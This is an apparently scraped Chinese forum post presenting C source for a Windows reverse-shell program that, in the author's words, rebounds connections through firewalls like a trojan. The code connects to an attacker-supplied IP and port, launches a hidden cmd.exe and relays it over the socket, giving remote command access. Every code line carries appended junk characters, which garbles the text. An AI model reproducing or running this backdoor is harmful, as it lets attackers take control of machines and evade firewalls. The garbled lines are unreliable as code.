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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yhyh\.  
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/* ============================== KV'-^\  
Rebound port in Windows NT yXc@i)9w3  
By wind,2006/7 ?Ye%k  
===============================*/ Lismo#  
#include It^_?oiK  
#include y? 65*lUl  
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#pragma comment(lib,"wsock32.lib") cuQ=bRIb  
*km - pp  
void OutputShell(); (8j@+J   
SOCKET sClient;  N/AP8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Al]z =  
d _koF-7  
void main(int argc,char **argv) XpOQBXbt  
{ 9M-/{D^+<  
WSADATA stWsaData; e9?y0vT//  
int nRet; lnntb3q  
SOCKADDR_IN stSaiClient,stSaiServer; %] 7.E  
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if(argc != 3) V{kgDpB  
{ `#N7ym;s@  
printf("Useage:\n\rRebound DestIP DestPort\n"); (fWQ?6[  
return; k\M">K0E  
} :~9F/Jx  
u\G\KASUK%  
WSAStartup(MAKEWORD(2,2),&stWsaData); SkA"MhX  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZsYT&P2  
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stSaiClient.sin_family = AF_INET; /d-7n|#E  
stSaiClient.sin_port = htons(0); aA.TlG@zP  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t\C[mw  
.](s\6'  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K?+ Rq  
{ meV RdQ  
printf("Bind Socket Failed!\n"); v|mZcAz  
return; hC =="4 -  
} PK* $  
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stSaiServer.sin_family = AF_INET; }' t*BaU  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /c1FFkq|K  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2]*2b{gF,  
Fc<+N0M{  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) CR$5'#11)  
{ 4%k_c79>  
printf("Connect Error!"); ?wx|n_3<:  
return; "GofQ5,|  
} etH%E aF[  
OutputShell(); Z`b{r;`m8  
} zKk2>.  
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void OutputShell() j7 D\O  
{ ~(`iRxK  
char szBuff[1024]; 9_ GR\\  
SECURITY_ATTRIBUTES stSecurityAttributes; IPnbR)[%  
OSVERSIONINFO stOsversionInfo; 6(}8[i:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; fz8eL:i:  
STARTUPINFO stStartupInfo; # -Ts]4v  
char *szShell; O=St}B\!m  
PROCESS_INFORMATION stProcessInformation; 6l>$N?a  
unsigned long lBytesRead; dg1h<]T"9  
/wL}+  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]W%<<S  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K/jC>4/c/  
stSecurityAttributes.lpSecurityDescriptor = 0; DO$jX 4  
stSecurityAttributes.bInheritHandle = TRUE; v >71 ?te  
_S#uxgL<  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ed)t87E  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D EL#MD!  
>T4.mB7+>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .4~n|d>z  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A|8(3PiP  
stStartupInfo.wShowWindow = SW_HIDE; </|IgN$w`  
stStartupInfo.hStdInput = hReadPipe; `2?9eXC  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R;f!s/^)  
w7 ]@QTC  
GetVersionEx(&stOsversionInfo); ".eD&oX{  
W@1Nit-R  
switch(stOsversionInfo.dwPlatformId) Qsc%qt-l  
{ 0Q=4{*:?  
case 1: -Vk+zEht  
szShell = "command.com"; vO"Sy{)Z>  
break; q7C>A`w  
default: ZUb6d*B  
szShell = "cmd.exe"; RJ1 Q.o  
break; x(7K=K']  
} o@r+Y  
Im1e/F]  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !h{qO&ZH=  
1j<=TWit  
send(sClient,szMsg,77,0); :grJ}i-D  
while(1) auqM>yx  
{ '@9h@,tc  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UfSWdR)  
if(lBytesRead) 'QjX2ytgX  
{ *BT-@V.4  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |Z<NM#1  
send(sClient,szBuff,lBytesRead,0); yK<%AV@v  
} AxUj CerNf  
else b/ h,qv  
{ P7(+{d{  
lBytesRead=recv(sClient,szBuff,1024,0); >z1RCQWju  
if(lBytesRead<=0) break; 7$+n"Cfm  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); HjV3PFg  
} X~GnK>R  
} nM1U=Du  
R}a,.C  
return; hVI $r  
}
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